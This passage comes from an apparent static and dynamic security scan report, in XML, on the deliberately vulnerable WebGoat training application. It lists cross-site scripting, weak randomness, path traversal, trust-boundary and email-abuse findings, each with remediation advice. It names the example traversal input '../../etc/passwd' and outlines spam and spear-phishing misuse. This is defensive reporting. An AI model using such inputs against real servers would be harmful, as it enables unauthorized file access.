+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
